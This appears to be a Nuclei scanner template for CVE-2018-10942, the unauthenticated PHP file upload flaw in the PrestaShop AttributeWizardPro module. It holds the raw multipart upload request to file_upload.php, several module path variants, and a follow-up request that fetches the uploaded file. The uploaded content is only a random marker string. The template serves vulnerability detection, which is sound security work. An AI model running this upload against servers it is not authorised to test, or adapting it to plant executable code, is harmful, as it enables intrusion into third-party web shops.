70 lines
2.1 KiB
YAML
70 lines
2.1 KiB
YAML
id: CVE-2018-10942
|
|
|
|
info:
|
|
name: Prestashop AttributeWizardPro Module - Arbitrary File Upload
|
|
author: MaStErChO
|
|
severity: critical
|
|
description: |
|
|
In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.
|
|
reference:
|
|
- https://webcache.googleusercontent.com/search?q=cache:y0TbS2LsRfoJ:www.vfocus.net/art/20160629/12773.html&hl=en&gl=en
|
|
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-10942
|
|
classification:
|
|
cve-id: CVE-2018-10942
|
|
metadata:
|
|
max-request: 8
|
|
tags: prestashop,attributewizardpro,intrusive,file-upload
|
|
|
|
variables:
|
|
filename: '{{rand_base(7, "abc")}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /modules/{{paths}}/file_upload.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
|
|
|
|
--ba1f796d0aa2482e9c51c81ae6087818
|
|
Content-Disposition: form-data; name="userfile"; filename="{{filename}}.php"
|
|
Content-Type: multipart/form-data
|
|
|
|
{{randstr}}
|
|
--ba1f796d0aa2482e9c51c81ae6087818--
|
|
|
|
- |
|
|
GET /modules/{{paths}}/file_uploads/{{file}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
payloads:
|
|
paths:
|
|
- 'attributewizardpro'
|
|
- '1attributewizardpro'
|
|
- 'attributewizardpro.OLD'
|
|
- 'attributewizardpro_x'
|
|
|
|
stop-at-first-match: true
|
|
host-redirects: true
|
|
max-redirects: 3
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- '{{filename}}'
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '{{randstr}}'
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: file
|
|
part: body_1
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- '(.*?)\|\|\|\|'
|
|
# digest: 4b0a00483046022100aab26195eec27b220d615f8c9e60fbab9ae457867d1c4209eb5ae8cacfb3ca18022100a4cb00aa3b61687473a5a2627c73a4958334b53104f383a1c2e6513d003484a1:922c64590222798bb761d5b6d8e72950 |